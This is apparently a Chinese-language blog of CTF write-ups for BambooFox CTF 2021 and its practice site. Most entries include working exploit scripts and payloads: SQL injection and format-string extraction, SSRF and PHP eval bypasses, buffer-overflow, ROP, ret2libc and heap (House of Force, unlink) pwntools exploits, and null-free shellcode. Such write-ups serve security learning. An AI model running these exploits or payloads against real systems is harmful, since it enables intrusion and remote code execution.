BambooFox CTF Writeups
這篇包含了 BambooFox CTF 2021 的內容和 BambooFox 練習站 的內容,基本上會記錄一些比較有意義的題目而已。
BambooFox CTF 2021
Calc.exe Online
利用 php 中可以用 string 作為函數名稱去執行的性質,然後靠 base_convert
decbin
等等這類的函數去湊出來就好了。
SSRFrog
http://chall.ctf.bamboofox.tw:9453/
這題最關鍵的點就是要讓 url.length !== new Set(url).size
,並且讓他訪問內網的一個網站取得 Flag (SSRF)。破解的方法就是利用一些 unicode 的特殊字元去做繞過就好了,這邊可以使用此題作者製作的工具 domain-obfuscator 去找到能用的字元,可能要多試幾次才行。一個能用的 payload 為 url=htTp:/ᵗℍℯ。Ⓒ⁰ₒ₀o⓪ˡ-fl㊹4ᵍ.ₛₑⓡᵛᵉℝ.㏌teʳ㎁L
。
ヽ(#`Д´)ノ
http://chall.ctf.bamboofox.tw:9487/
這題很簡單,用 query string 所產生的陣列可以很簡單的繞過前兩個檢測,然後 eval(print_r($🐱,1))
的地方就稍微把東西給閉合,然後把其他多餘的東西忽略掉就好了,例如 system("ls"))?>
。
完整的 url (base64):
aHR0cDovL2NoYWxsLmN0Zi5iYW1ib29mb3gudHc6OTQ4Ny8/JUUzJTgzJUJEKCUyMyU2MCVEMCU5NCVDMiVCNCklRUYlQkUlODklNUIlNUQ9c3lzdGVtKCUyMmNhdCUyMC9mbGFnX2RlNDI1MzdhN2RkODU0ZjRjZTI3MjM0YTEwM2Q0MzYyJTIyKSk/JTNF
Time to Draw
http://chall.ctf.bamboofox.tw:8787/ (掛了)
關鍵在於 prototype pollution,利用它 /api/draw
沒檢查參數 __proto__
的問題去改 Object.prototype
,然後之後自己構造一下 token 就能拿 flag 了。
Yet another login page
http://chall.ctf.bamboofox.tw:9527/
很容易可以找出有 SQL Injection,admin 的密碼也很容易拿: curl http://chall.ctf.bamboofox.tw:9527/login --data "username='union select password,1 from users--"
,只是這樣並沒辦法拿到 flag。
經過測試會發現當他密碼錯誤的時候能有 python 的 format string 可以利用:
正常的: curl http://chall.ctf.bamboofox.tw:9527/login --data "username='union select '{0}','pw' from users--&password=pw"
-> Hello {0} 。:.゚ヽ(*´∀``)ノ゚.:。
密碼錯誤的: curl http://chall.ctf.bamboofox.tw:9527/login --data "username='union select '{0}','pw' from users--&password=pwa"
-> Wrong password for <main.User object at 0x7f9fcd537160>, login from <IP REMOVED>.
然後利用一下可以找到 app 的 routes: {0.__init__.__globals__[app].url_map}
,裡面可以看到有個 /hey_guys_this_is_the_flag_route
map 到 get_flag
的函數,直接前往那個 path 也沒有給 flag。
後來我經過別人提醒才知道 python 的函數有 __code__
的物件能取得 bytecode,例如 0.__init__.__globals__[get_flag].__code__
,裡面有些 co_code
co_consts
的東西能用,然後可以靠自己去讀 bytecode 去解 flag。
不過我很懶惰,就稍微研究了下怎麼把它弄回可讀的 python,然後就用了下面的腳本出來:
attrs = [
"co_argcount",
"co_cellvars",
"co_code",
"co_consts",
"co_filename",
"co_firstlineno",
"co_flags",
"co_freevars",
"co_kwonlyargcount",
"co_lnotab",
"co_name",
"co_names",
"co_nlocals",
"co_posonlyargcount",
"co_stacksize",
"co_varnames",
]
import requests
def get_attr(fnname: str, attr: str):
u = "' union select '{0.__init__.__globals__" + fnname + "." + attr + "}','pw';--"
resp = requests.post(
"http://chall.ctf.bamboofox.tw:9527/login",
data={
"username": u,
"password": "pwa",
},
)
a = resp.text.split("for ")[-1].split(", login")[0]
try:
return eval(a)
except:
return a
def get_path(path):
fn_code = {}
for v in attrs:
fn_code[v] = get_attr(path, v)
return fn_code
get_flag = get_path("[get_flag].__code__")
get_flag_lambda = get_path("[get_flag].__code__.co_consts[25]")
import xdis
l = xdis.codetype.Code38(**get_flag_lambda)
print(l)
get_flag["co_consts"] = (
None,
247,
254,
216,
225,
234,
243,
244,
245,
228,
232,
235,
166,
184,
"give",
"me",
"flag",
0,
3,
1,
-3,
2,
"\x87",
"flag{",
"",
l,
"get_flag.<locals>.<lambda>",
"}",
"NO FLAG FOR YOU",
)
f = xdis.codetype.Code38(**get_flag)
print(f)
import uncompyle6
print(uncompyle6.code_deparse(l))
print(uncompyle6.code_deparse(f))
最後 decomile 之後也能得到這樣的結果,然後要找 flag 就是相當簡單的事了:
magic = [247, 254, 216, 225, 234, 243, 216, 244, 243, 245, 216, 228, 232, 232, 235, 166, 184]
keys = [request.args.get('give'), request.args.get('me'), request.args.get('flag')]
if keys[0] == str(magic[3]):
if keys[1] == str(magic[(-3)]):
if keys[2] == '\x87':
return 'flag{' + ''.join(map(lambda n: chr(n ^ ord(keys[2])), magic)) + '}'
Flag Checker
Verilog 的 flag checker,稍微用 python 暴力一下之後可以得到很多的解,找個比較像的就可以了:
target = [
182,
199,
159,
225,
210,
6,
246,
8,
172,
245,
6,
246,
8,
245,
199,
154,
225,
245,
182,
245,
165,
225,
245,
7,
237,
246,
7,
43,
246,
8,
248,
215,
]
def magic(inp, val):
if val == 0b00:
return ((inp >> 3) | (inp << 5)) & 0xFF
elif val == 0b01:
return ((inp << 2) | (inp >> 6)) & 0xFF
elif val == 0b10:
return (inp + 0b110111) & 0xFF
elif val == 0b11:
return inp ^ 55
def chall(x):
ox = x
x = magic(x, ox & 0b11)
x = magic(x, (ox >> 2) & 0b11)
x = magic(x, (ox >> 4) & 0b11)
x = magic(x, (ox >> 6) & 0b11)
return x
def bruteforce(target):
for c in range(256):
if chall(c) == target:
if 30 <= c <= 127 and c != ord(" "):
yield chr(c)
from itertools import product
ans = [list(bruteforce(x)) for x in target]
for x in product(*ans):
print("".join(x))
Flag Checker Revenge
這題麻煩的地方是在於它的 check 是用很多很多層的遞迴去弄的,所以直接用 angr 解決這題比較簡單:
import angr
import claripy
input_len = 43
flag_chars = [claripy.BVS("flag_%d" % i, 8) for i in range(input_len)]
flag = claripy.Concat(*flag_chars + [claripy.BVV(b"\n")])
proj = angr.Project("./flag_checker2")
st = proj.factory.full_init_state(
args=["./engine"], add_options=angr.options.unicorn, stdin=flag
)
for k in flag_chars:
st.solver.add(k < 0x7F)
st.solver.add(k > 0x20)
sm = proj.factory.simulation_manager(st)
sm.run()
y = []
for x in sm.deadended:
if b"win" in x.posix.dumps(1):
y.append(x)
valid = y[0].posix.dumps(0)
print(valid)
bt = [chr(valid[i]) for i in range(0, len(valid))]
print("".join(bt))
The Vault
WASM 的挑戰,直接在瀏覽器把 0000~9999
都試一遍也都沒用,所以用 wasm2c 把它轉換成 C,然後編譯後丟到 IDA 就能看到密碼是 p3k0
了 peko。
wasm2c main.wasm -o test.c
gcc test.c -o test.o -Wl,--unresolved-symbols=ignore-in-object-files
orz Network
可以發現說他有些 Diffie–Hellman 的質數 很弱,因為 非常的 smooth,所以直接把那些很弱的用 discrete log 算出來就好了,之後再用 BFS 選 419 條邊變成一個生成樹就是答案了:
from pwn import *
import hashlib
import sys
from sage.all import factor, Zmod, discrete_log, power_mod
def proof_of_work(prefix, difficulty):
zeros = "0" * difficulty
def is_valid(digest):
bits = "".join(bin(i)[2:].zfill(8) for i in digest)
return bits[:difficulty] == zeros
i = 0
while True:
i += 1
s = prefix + str(i)
if is_valid(hashlib.sha256(s.encode()).digest()):
return i
def solve(p, g, a, b):
fs = factor(p - 1)
mxp = max([x[0] for x in fs])
if mxp > 1000000:
# Not smooth enough
return
Z = Zmod(p)
n_a = discrete_log(Z(a), Z(g))
return int(Z(b) ** n_a)
def pr(a, b):
return (a, b) if a < b else (b, a)
p = remote("chall.ctf.bamboofox.tw", 10369)
p.recvuntil("sha256(")
prefix = p.recv(16).decode()
result = proof_of_work(prefix, 20)
p.sendlineafter(b"Answer:", str(result))
msg = p.recvline().decode().strip()
words = msg.split(" ")
n_computers = int(words[2])
n_connections = int(words[5])
print(n_computers, n_connections)
p.recvuntil(b"lines):") # Press Enter to print all connection logs (# lines):
p.sendline("") # Enter
connected = {}
for i in range(n_connections):
established = p.recvline().decode().strip()
ews = established.split(" ")
alice_id = int(ews[5][1:])
bob_id = int(ews[9][1:])
dh = p.recvline().decode().strip()
dhs = dh.split(" ")
modulus = int(dhs[4][:-1])
base = int(dhs[7][:-1])
alice_pub = int(dhs[12][:-1])
bob_pub = int(dhs[17]) # No "," at the end of Bob's public key...
sec = solve(modulus, base, alice_pub, bob_pub)
if sec != None:
connected[pr(alice_id, bob_id)] = sec
secret_keys = []
visited = [False] * (n_computers + 1)
queue = [1]
visited[1] = True
parent = {}
while len(queue) > 0:
cur = queue.pop(0)
for i in range(1, n_computers + 1):
if i == cur:
continue
k = pr(cur, i)
if k in connected and not visited[i]:
print(f"{cur} -> {i}")
visited[i] = True
parent[i] = cur
secret_keys.append(connected[k])
queue.append(i)
assert all(visited[1:])
def print_path(x):
def helper(y):
print(f" <- {y}", end="")
if y != 1:
helper(parent[y])
print(x, end="")
if x != 1:
helper(parent[x])
print()
for i in range(1, n_computers + 1):
print_path(i)
ans = " ".join(map(str, sorted(secret_keys)))
p.sendlineafter(
b"Enter a list of 419 secret keys you've stolen, separated by whitespace characters:",
ans,
)
print(p.recvall().decode())
這題我當時就只差一個小 bug 就把這題解出來了…
train
Magic
這題只是簡單的 buffer overflow 題目,不過有稍微被坑到了一下。
首先是它會對 strlen
長度的字串做隨機的 xor,不過用 \0
就能繞過了,而且 scanf
是連 \0
都會吃進去的,所以把 ret 改到 0x804860D
就能拿到 shell 了。
不過我一開始這樣做都一直失敗,後來發現說 0x804860D
的 0D
代表的是 \r
(Carriage Return),一樣會被 scanf
視為換行符號,所以需要跳到其他地方,例如 0x804860E
之類的就可以了。
from pwn import *
# p = process("./magic")
p = remote("bamboofox.cs.nctu.edu.tw", 10000)
sh = 0x804860D
p.sendlineafter(b"Give me your name(a-z): ", "kirito")
p.sendlineafter(
b"Give me something that you want to MAGIC: ",
b"a" * (0x44)
+ b"\x00" * 4
+ p32(sh + 1), # !!!! scanf will ignore 0d, as 0d = "\r"
)
p.interactive()
這題雖然只是簡單的題目,不過還是學到了 0D
=\r
會有影響。
Monkey1
用 printf 去對 local variable 的 banana 做寫入就可以了,需要的位置可能要用 gdb 找一下。程式碼和下一題放在一起。
Monkey2
一樣的題目,不過這次要得到 shell,我的方法就是找個地方寫入 /bin/sh
,然後呼叫 system
就好了,因為 system
有在 GOT 裡面能讓你用,所以直接讀出來就 ok。
from pwn import *
# p = process("./monkey")
p = remote("bamboofox.cs.nctu.edu.tw", 11000)
def printf(s: bytes):
p.sendlineafter(b"Please enter your choice!\n", "2")
p.sendlineafter(b"I will print it out.\n", s)
return p.recvline()
def change_name(s: bytes):
p.sendlineafter(b"Please enter your choice!\n", "1")
p.sendline(s)
def write_byte(addr: int, val: int):
change_name(p64(addr))
if val > 0:
printf(b"%0" + str(val).encode() + b"d%274$hhn")
else:
printf(b"%274$hhn")
def write_int(addr: int, val: int):
while val > 0:
# print(f"write {hex(val & 0xff)} to {hex(addr)}")
write_byte(addr, val & 0xFF)
val >>= 8
addr += 1
def read_string(addr: int):
change_name(p64(addr))
result = printf(b"%274$sc8763c8763")
return result.split(b"c8763c8763")[0]
def read_dword(addr: int, deep=1):
if deep == 4:
return 0
r = int.from_bytes(read_string(addr)[:4], byteorder="little")
return r if r != 0 else ((read_dword(addr + 1, deep + 1) & 0xFFFFFF) << 8)
# FLAG 1
target_banana = 0x3132000A
banana_addr = int(printf(b"%269$p").decode().strip(), 16) + 4
write_int(banana_addr, target_banana)
p.sendlineafter(b"Please enter your choice!\n", "3")
print(p.recvline().decode())
# FLAG 2 (Shell)
elf = ELF("./monkey")
system = read_dword(elf.got["system"])
ret = banana_addr + 0x28
write_int(ret, system)
binsh = 0x804A064 # a padding in bss
write_int(binsh, int.from_bytes(b"/bin/sh\x00a", byteorder="little"))
write_int(ret + 8, binsh)
p.sendlineafter(b"Please enter your choice!\n", "5")
p.interactive()
不過這題的 FLAG 2 所寫的內容是說和 GOT 劫持有關的,我猜可能的作法是把 strlen
改成 system
,然後換名字的時候直接輸入 /bin/sh
應該也是可以,不過這個就需要在一次寫入就把 address 寫進去才行,不能像我這樣分 byte 寫入。
ROP
就按照它的指示去湊一組 ROP Chain 就好了,我用的是: 1,10,9,3,3,12,4,12,2,2,8,8,8,8,8,0
。
orw
不能直接用 shell,只能自己寫 null free 的 shellcode 而已。雖然用 pwntools 的 shellcraft
很簡單,不過為了練習還是自己寫點 asm 好了。
from pwn import *
context.arch = "x86"
code = f"""
xor eax, eax
mov ax, 0x{b'ag'[::-1].hex()}
push eax
mov eax, 0x{b'f/fl'[::-1].hex()}
push eax
mov eax, 0x{b'e/ct'[::-1].hex()}
push eax
mov eax, 0x{b'/hom'[::-1].hex()}
push eax
xor eax, eax
mov al, SYS_write
mov bl, 1
mov ecx, esp
mov dl, 20
int 0x80
xor eax, eax
mov al, SYS_open
mov ebx, esp
xor ecx, ecx # O_RDONLY == 0
int 0x80
mov ebx, eax
mov al, SYS_read
mov ecx, esp
xor edx, edx
mov dl, 0xff
int 0x80
xor eax, eax
mov al, SYS_write
mov bl, 1
mov ecx, esp
mov dl, 0xff
int 0x80
"""
sc = asm(code)
print(disasm(sc))
assert b"\0" not in sc
print(run_shellcode(sc).recvall())
p = remote("bamboofox.cs.nctu.edu.tw", 11100)
p.sendlineafter(b"Submit your shellcode here:", sc)
print(p.recvall())
關於 syscall table 我推薦: Linux System Call Table
BTW, 使用
shellcraft
的話非常簡單:shellcraft.cat(b'/home/ctf/flag')
orw64
除了是 x64 的這點外和上題一模一樣。
from pwn import *
context.arch = "amd64"
code = f"""
xor rax, rax
mov rax, 0x{b'f/flag--'[::-1].hex()}
shl rax, 16
shr rax, 16
push rax
mov rax, 0x{b'/home/ct'[::-1].hex()}
push rax
xor rax, rax
mov al, 1
mov rdi, rax
mov rsi, rsp
mov al, 20
mov rdx, rax
mov al, SYS_write
syscall
xor rax, rax
mov rdi, rsp
xor rsi, rsi
mov al, SYS_open
syscall
mov rdi, rax
mov rsi, rsp
mov dl, 0xff
xor rax, rax # SYS_read == 0
syscall
xor rax, rax
mov al, 1
mov rdi, rax
mov rsi, rsp
mov dl, 0xff
mov al, SYS_write
syscall
"""
sc = asm(code)
print(disasm(sc))
assert b"\0" not in sc
print(run_shellcode(sc).recvall())
p = remote("bamboofox.cs.nctu.edu.tw", 11101)
p.sendlineafter(b"Submit your shellcode here:", sc)
print(p.recvall())
ret2libc
很基本的 ret2libc,連 address 都給你了。
from pwn import *
libc = ELF("./libc.so.6")
p = remote("bamboofox.cs.nctu.edu.tw", 11002)
# libc = ELF("/lib32/libc.so.6")
# p = gdb.debug("./ret2libc")
p.recvuntil(b'The address of "/bin/sh" is ')
binsh = int(p.recvline().strip().decode(), 16)
p.recvuntil(b'The address of function "puts" is ')
puts = int(p.recvline().strip().decode(), 16)
libc_base = puts - libc.sym["puts"]
log.info(f"libc base: {hex(libc_base)}")
system = libc_base + libc.sym["system"]
log.info(f"system: {hex(system)}")
p.sendline(b"a" * (0x14 + 4 + 8) + p32(system) + b"a" * 4 + p32(binsh))
p.interactive()
RSA
可以發現它 public key 的 只有 220 bit,所以自己分解或是去查 Factor DB 都可以,我用的是後者。直接結合 RsaCtfTool 還能很方便的直接生成 private key: python RsaCtfTool.py --publickey pub.pem --private --attack factordb
,然後再用 openssl rsautl -decrypt -inkey priv.pem -in aeskey.rsa.enc -out key
去得到 AES 的 key。
不過這題卡我比較久的地方是它 AES 的地方,因為直接的 openssl enc -aes128 -d -in flag.jpg.aes.enc -out flag.jpg -pass 'file:key'
並沒有效果,後來我在這個問題查到說 OpenSSL 有改過從密碼生成 key 的 hash 算法,在 1.0.2 以前用的是 md5,然後 1.1.0 之後就改用了 sha256。
所以我檢查了我的版本發現說它確實是新版的,所以就試著加上了 -md md5
就成功了: openssl enc -aes128 -d -in flag.jpg.aes.enc -out flag.jpg -md md5 -pass 'file:key'
。
RSA2
可以發現說它的 RSA modulus 很小(),所以直接暴力分解就好了,最後一個 round 的 wiener attack 就使用 RsaCtfTool 裡面的實現就完成了。
還有個可能要注意的地方是 Ruby 的 public_encrypt 使用了 PKCS1 的 padding,所以在解密完成後還要記得去掉 padding 再傳回去才是正確答案。
from pwn import *
from Crypto.PublicKey import RSA
from Crypto.Util.number import bytes_to_long, long_to_bytes
from Crypto.Util.Padding import unpad
from sage.all import factor
import base64
import wiener # Copied and modified from RsaCtfTool
P = remote("bamboofox.cs.nctu.edu.tw", 11200)
def pkcs1_unpad(text):
if len(text) > 0 and text[0] == 2:
pos = text.find(b"\x00")
if pos > 0:
return text[pos + 1 :]
return None
for i in range(101):
print(f"Round {i}")
if i < 100:
P.recvuntil(b"Round (")
P.recvuntil(b"-----BEGIN PUBLIC KEY-----")
content = P.recvuntil(b"-----END PUBLIC KEY-----", drop=True)
pubkey = RSA.import_key(
b"-----BEGIN PUBLIC KEY-----" + content + b"-----END PUBLIC KEY-----"
)
P.recvuntil(b"secrect msg :")
ciphertext = base64.b64decode(P.recvline().strip())
if i < 100:
fs = factor(pubkey.n)
assert len(fs) == 2
p = int(fs[1][0])
q = int(fs[0][0])
d = pow(pubkey.e, -1, (p - 1) * (q - 1))
plaintext = long_to_bytes(pow(bytes_to_long(ciphertext), d, pubkey.n))
else:
# wiener
priv = wiener.WienerAttack(pubkey.n, pubkey.e)
plaintext = long_to_bytes(pow(bytes_to_long(ciphertext), priv.d, pubkey.n))
p = max(priv.p, priv.q)
q = min(priv.p, priv.q)
P.sendlineafter(b"msg :", pkcs1_unpad(plaintext))
P.sendlineafter(b"p (decimal) :", str(p))
P.sendlineafter(b"q (decimal) :", str(q))
print(P.recvall().decode())
AIS3 web 1
LFI,用 php://filter
把檔案讀出來就好了。
I Love C
在輸入名字的時候輸入 /bin/sh
並且把 max_len
蓋掉(用 \0
繞過長度檢測),然後之後就能 overflow 到 ret
,ROP 到 puts
把 got table 上的 address leak 出來得到 libc address。
接下來就讓它再回到 main 的起點一次,然後再 overflow 一次,只是這次到 system(name)
上面就可以了。
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
context.arch = "x86"
elf = ELF("./lovec")
if args["REMOTE"]:
libc = ELF("./libc.so.6")
p = remote("bamboofox.cs.nctu.edu.tw", 11003)
else:
libc = ELF("/lib32/libc.so.6")
p = process("./lovec")
p.sendafter(b"Please enter your name:", b"/bin/sh\0" + b"a" * 12 + b"\xff")
p.sendlineafter(b"Please vote for the programming language you love the most:", "1")
p.sendafter(
b"Cool! And why did you like it?",
b"a" * 41 + flat([elf.sym["puts"], elf.sym["main"], elf.got["puts"]]),
)
p.recvuntil(b"nice day!\n")
libc_base = int.from_bytes(p.recv(4), byteorder="little") - libc.sym["puts"]
log.info(f"libc base: {hex(libc_base)}")
system = libc_base + libc.sym["system"]
p.sendafter(b"Please enter your name:", b"/bin/sh\0" + b"a" * 12 + b"\xff")
p.sendlineafter(b"Please vote for the programming language you love the most:", "1")
p.sendafter(
b"Cool! And why did you like it?",
b"a" * 33 + flat([system, 0, elf.sym["name"]]),
)
p.recvuntil(b"nice day!\n")
log.info(f"shell:")
p.interactive()
I Love C++
和上一題差不多,只是要搞清楚 C++ 的函數是怎麼呼叫的,例如 std::cout << "test";
實際上是像是 operator<<(std::cout, "test");
的形式呼叫的,然後看一下 assembly 就能看出需要的參數是怎麼處裡的,然後一樣 leak libc 之後再讓它呼叫 system(name)
就成功了。
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
context.arch = "x86"
elf = ELF("./lovecpp")
if args["REMOTE"]:
libc = ELF("./libc6-i386_2.19-0ubuntu6.15_amd64.so")
p = remote("bamboofox.cs.nctu.edu.tw", 11004)
else:
libc = ELF("/lib32/libc.so.6")
p = process("./lovecpp")
cout = elf.sym["_ZSt4cout"]
operator_ll = elf.sym["_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc"]
p.sendafter(b"Please enter your name:", b"/bin/sh\0" + b"a" * 12 + b"\xff\n")
p.sendlineafter(b"Please vote for the programming language you love the most:", "1")
p.sendlineafter(
b"Cool! And why did you like it?",
b"a" * 41 + flat([operator_ll, elf.sym["main"], cout, elf.got["atoi"]]),
)
p.recvuntil(b"nice day!\n")
libc_base = int.from_bytes(p.recv(4), byteorder="little") - libc.sym["atoi"]
log.info(f"libc base: {hex(libc_base)}")
system = libc_base + libc.sym["system"]
p.sendafter(b"Please enter your name:", b"/bin/sh\0" + b"a" * 12 + b"\xff\n")
p.sendlineafter(b"Please vote for the programming language you love the most:", "1")
p.sendafter(
b"Cool! And why did you like it?",
b"a" * 33 + flat([system, 0, elf.sym["name"]]) + b"\n",
)
p.recvuntil(b"nice day!\n")
log.info(f"shell:")
p.interactive()
bamboobox1
這題是 heap 的題目,目標是把程式一開始使用 malloc
所弄出一個放 function pointers 的區塊改掉,因為它在 exit 的時候會呼叫裡面的函數,而且也有提供一個 magic
函數直接幫你讀 flag 出來。漏洞的話可以很容易的發現它在修改的時候完全不檢查長度,所以只要修改時的長度超過新增時的長度時就有 heap overflow。
libc 的檔案可以到第二題拿,版本為
2.19-0ubuntu6.13_amd64
,基本上一定要 patchelf 過才能正常的在 local debug
這題要用到的是 House Of Force,方法簡單來說是先把 top chunk 的 size 改成最大值,避免它在 malloc
很大的區塊時使用 mmap
,然後再利用很大的值讓 address overflow 到比較低的位置,例如前面所說的 function pointers,然後再 malloc
一塊新的區塊後會發現和前面是同個地方,所以就能直接改掉那部分的記憶體。
詳細的介紹的話推薦: house_of_force.c
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
elf = ELF("./bamboobox")
# p = process("./bamboobox") # Libc and intepreter patched to 2.19-0ubuntu6.13_amd64
p = remote("bamboofox.cs.nctu.edu.tw", 11005)
def add_item(data, sz=None):
if sz == None:
sz = len(data)
p.sendlineafter(b"choice:", "2")
p.sendlineafter(b"name:", str(sz))
p.sendafter(b"item:", data)
def change_item(idx, data, sz=None):
if sz == None:
sz = len(data)
p.sendlineafter(b"choice:", "3")
p.sendlineafter(b"item:", str(idx))
p.sendlineafter(b"name:", str(sz))
p.sendafter(b"item:", data)
magic = elf.sym["magic"]
add_item(b"a" * 64) # Offset to top chunk size = 64 + 8 = 72
change_item(
0, b"a" * 72 + p64((1 << 64) - 1)
) # Overwrite top chunk size to max, so that malloc won't use mmap
add_item(b"\n", -0x70 - 0x10) # Offset from top chunk to function list
add_item(p64(0) + p64(magic)) # Newly malloced memory is function list
p.sendlineafter(b"choice:", "5")
print(p.recvall())
bamboobox2
和前面一樣的題目,但是這次需要的是得到 shell 才行。
利用 Unlink 的方法可以改掉存指針的地方所指的第一個區塊,然後使用它去讀 atoi@got
得到 libc 的位置,然後改 GOT 成 system
之後輸入 /bin/sh
就是 shell 了。
關於 Unlink 的詳細介紹我推薦: unsafe_unlink.c
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
elf = ELF("./bamboobox")
libc = ELF("./libc6_2.19-0ubuntu6.13_amd64/lib/x86_64-linux-gnu/libc.so.6")
# p = process("./bamboobox") # Libc and intepreter patched to 2.19-0ubuntu6.13_amd64
p = remote("bamboofox.cs.nctu.edu.tw", 11005)
def add_item(data, sz=None):
if sz == None:
sz = len(data)
p.sendlineafter(b"choice:", "2")
p.sendlineafter(b"name:", str(sz))
p.sendafter(b"item:", data)
def change_item(idx, data, sz=None):
if sz == None:
sz = len(data)
p.sendlineafter(b"choice:", "3")
p.sendlineafter(b"item:", str(idx))
p.sendlineafter(b"name:", str(sz))
p.sendafter(b"item:", data)
def remove_item(idx):
p.sendlineafter(b"choice:", "4")
p.sendlineafter(b"item:", str(idx))
# PS: normal chunk size = malloc size + header size
box = 0x6020C8
malloc_size = 0x100
add_item(b"first chunk", malloc_size)
add_item(b"second chunk", malloc_size)
change_item(
0,
# fake freed chunk in first chunk data area
p64(0) # prev size
+ p64(malloc_size + 1) # size (prev_inuse)
+ p64(box - 3 * 8) # fd, P->fd->bk == P
+ p64(box - 2 * 8) # bk, P->bk->fd == P
+ b"a" * (malloc_size - 8 * 4)
# second chunk header
+ p64(malloc_size) # prev size
+ p64(malloc_size + 16) # size (not prev_inuse)
)
remove_item(1)
# now box[0] = box - 3 * 8 (because BK->fd = FD)
change_item(0, b"a" * 24 + p64(elf.got["atoi"]))
# now box[0] = atoi@got
p.sendlineafter(b"choice:", "1")
p.recvuntil(b"0 : ")
libc_base = int.from_bytes(p.recv(6), byteorder="little") - libc.sym["atoi"]
log.info(f"libc base: {hex(libc_base)}")
change_item(0, p64(libc_base + libc.sym["system"])) # overwrite atoi@got to system
p.sendlineafter(b"choice:", "/bin/sh")
p.interactive()
2020 Fall CSC 社課
我沒實際上參加過這個課,只是自己練習的
basic_lfi
用 php://filter
和 base64 把 flag.php 讀出來就可以了。
image_upload
檢查檔案副檔名的工作全部都是在前端完成的,所以把它停用掉然後上傳自己的 php shell 就好了。得到 shell 之後會發現根目錄的 flag 檔案是 root 權限的,不過可以發現有個 suid 的 binary 可以直接拿來讀檔案。
cmdi_2
有擋掉 ;
, &
, |
, 四個符號,而且不會把顯示給 print 出來。空白的話用
${IFS}
可以繞過,不能用 &&
||
和 ;
的話可以靠 `cmd`
去執行指令,沒有顯示的話就要自己用 server 去讓他連線傳資料回來。
像我是用 curl
的上傳檔案功能把檔案傳回來就能看到 flag 了。
Shellcode
它會直接執行你的 shellcode,但是會隨機跳到距離開始的 0~255 的地方,這個可以靠塞 nop (\x90
) 就能輕鬆繞過了。
Note
沒開 NX,有 Canary,所以就 leak Canary,寫入 shellcode 然後 return 到上面就好了。Stack Address 的話因為它一開始就直接給你了所以不是問題。
from pwn import *
context.arch = "amd64"
# p = process("./note")
p = remote("bamboofox.cs.nctu.edu.tw", 12030)
p.recvuntil(b"Gift ")
text_addr = int(p.recvline().decode().strip(), 16)
print(hex(text_addr))
p.sendlineafter(b"How long is your name: ", str(0x138 + 1))
p.sendlineafter(b"Please input your name: ", b"a" * 0x138)
p.recvuntil(b"aaaaa\n")
canary = int.from_bytes(b"\x00" + p.recv(7), byteorder="little")
p.sendlineafter(b"How long is your title: ", str(0x138 + 8 + 8 + 8 + 1))
p.sendlineafter(
b"Please input title: ", b"a" * 0x138 + p64(canary) + b"a" * 8 + p64(text_addr)
)
p.sendlineafter(b"Please input message: ", asm(shellcraft.sh()))
p.interactive()
oob1
利用它沒檢查 index 為負數的性質可以 leak 出 admin 的 pin,所以就能登入成功。
from pwn import *
# p = process("./oob1")
p = remote("bamboofox.cs.nctu.edu.tw", 12011)
p.sendlineafter(b"User ID: ", "-4")
p.sendlineafter(b"PIN: ", "1")
p.recvuntil(b"Logging to [")
admin_pin = int.from_bytes(p.recv(4), byteorder="little")
p.sendlineafter(b"User ID: ", "0")
p.sendlineafter(b"PIN: ", str(admin_pin))
p.interactive()
oob3
類似上一題,不過是要把 GOT 改掉換成它本來就有的一個呼叫 shell 的函數就可以了。
from pwn import *
# p = process("./oob3")
p = remote("bamboofox.cs.nctu.edu.tw", 12013)
p.sendlineafter(b"User ID: ", "-19")
p.sendlineafter(b"Nickname", p64(0x400924))
p.interactive()